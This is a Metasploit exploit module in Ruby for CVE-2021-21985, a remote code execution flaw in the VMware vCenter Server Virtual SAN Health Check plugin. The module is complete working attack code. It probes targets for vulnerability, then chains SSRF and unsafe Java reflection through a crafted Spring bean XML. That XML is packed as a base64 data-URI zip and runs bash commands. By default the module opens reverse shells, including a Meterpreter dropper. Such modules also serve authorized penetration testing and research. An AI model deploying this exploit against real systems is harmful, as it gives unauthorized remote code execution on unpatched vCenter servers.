VMware vCenter Server Virtual SAN Health Check Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware vCenter Server Virtual SAN Health Check Plugin RCE',  
'Description' => %q{  
This module exploits Java unsafe reflection and SSRF in the VMware  
vCenter Server Virtual SAN Health Check plugin's ProxygenController  
class to execute code as the vsphere-ui user.  
  
See the vendor advisory for affected and patched versions. Tested  
against VMware vCenter Server 6.7 Update 3m (Linux appliance).  
},  
'Author' => [  
'Ricter Z', # Discovery and PoC used  
'wvu' # Analysis and exploit  
],  
'References' => [  
['CVE', '2021-21985'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0010.html'],  
['URL', 'https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis'],  
['URL', 'http://noahblog.360.cn/vcenter-cve-2021-2021-21985/'],  
# Other great writeups!  
['URL', 'https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/'],  
['URL', 'https://testbnull.medium.com/a-quick-look-at-cve-2021-21985-vcenter-pre-auth-rce-9ecd459150a5'],  
['URL', 'https://y4y.space/2021/06/04/learning-jndi-injection-from-cve-2021-21985/'],  
['URL', 'https://github.com/alt3kx/CVE-2021-21985_PoC']  
],  
'DisclosureDate' => '2021-05-25',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'], # TODO: Windows?  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [FIRST_ATTEMPT_FAIL], # SSRF can be a little finicky  
'SideEffects' => [  
IOC_IN_LOGS, # /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log  
ARTIFACTS_ON_DISK # CmdStager  
]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
# https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(  
target_uri.path,  
'/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty'  
),  
'ctype' => 'application/json',  
'data' => {  
'methodInput' => ['user.name', nil]  
}.to_json  
)  
  
return CheckCode::Unknown unless res  
  
unless res.code == 200 && res.get_json_document['result'] == 'vsphere-ui'  
return CheckCode::Safe  
end  
  
CheckCode::Vulnerable('System property user.name is vsphere-ui.')  
end  
  
def exploit  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status(cmd)  
  
url = OfflineBundle.new(cmd).to_url  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(  
target_uri.path,  
'/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages'  
),  
'ctype' => 'application/json',  
'data' => {  
'methodInput' => [  
["https://localhost/vsanHealth/vum/driverOfflineBundle/#{url}"],  
false # lazyInit  
]  
}.to_json  
)  
  
fail_with(Failure::PayloadFailed, cmd) unless res&.code == 200  
end  
  
class OfflineBundle  
attr_accessor :cmd  
  
def initialize(cmd)  
@cmd = cmd  
end  
  
def to_xml  
bean = Rex::Text.rand_text_alpha_lower(8..16)  
prop = Rex::Text.rand_text_alpha_lower(8..16)  
  
# https://www.tutorialspoint.com/spring/spring_bean_definition.htm  
<<~XML  
<beans>  
<bean id="#{bean}" class="java.lang.ProcessBuilder">  
<constructor-arg>  
<list>  
<value>/bin/bash</value>  
<value>-c</value>  
<value><![CDATA[#{cmd}]]></value>  
</list>  
</constructor-arg>  
<property name="#{prop}" value="\#{#{bean}.start()}"/>  
</bean>  
</beans>  
XML  
end  
  
def to_zip  
Msf::Util::EXE.to_zip([  
fname: 'offline_bundle.xml',  
data: to_xml.gsub(/^\s+/, '').tr("\n", '')  
])  
end  
  
def to_url  
# https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs  
"data:application/zip;base64,#{Rex::Text.encode_base64(to_zip)}"  
end  
end  
  
end  
`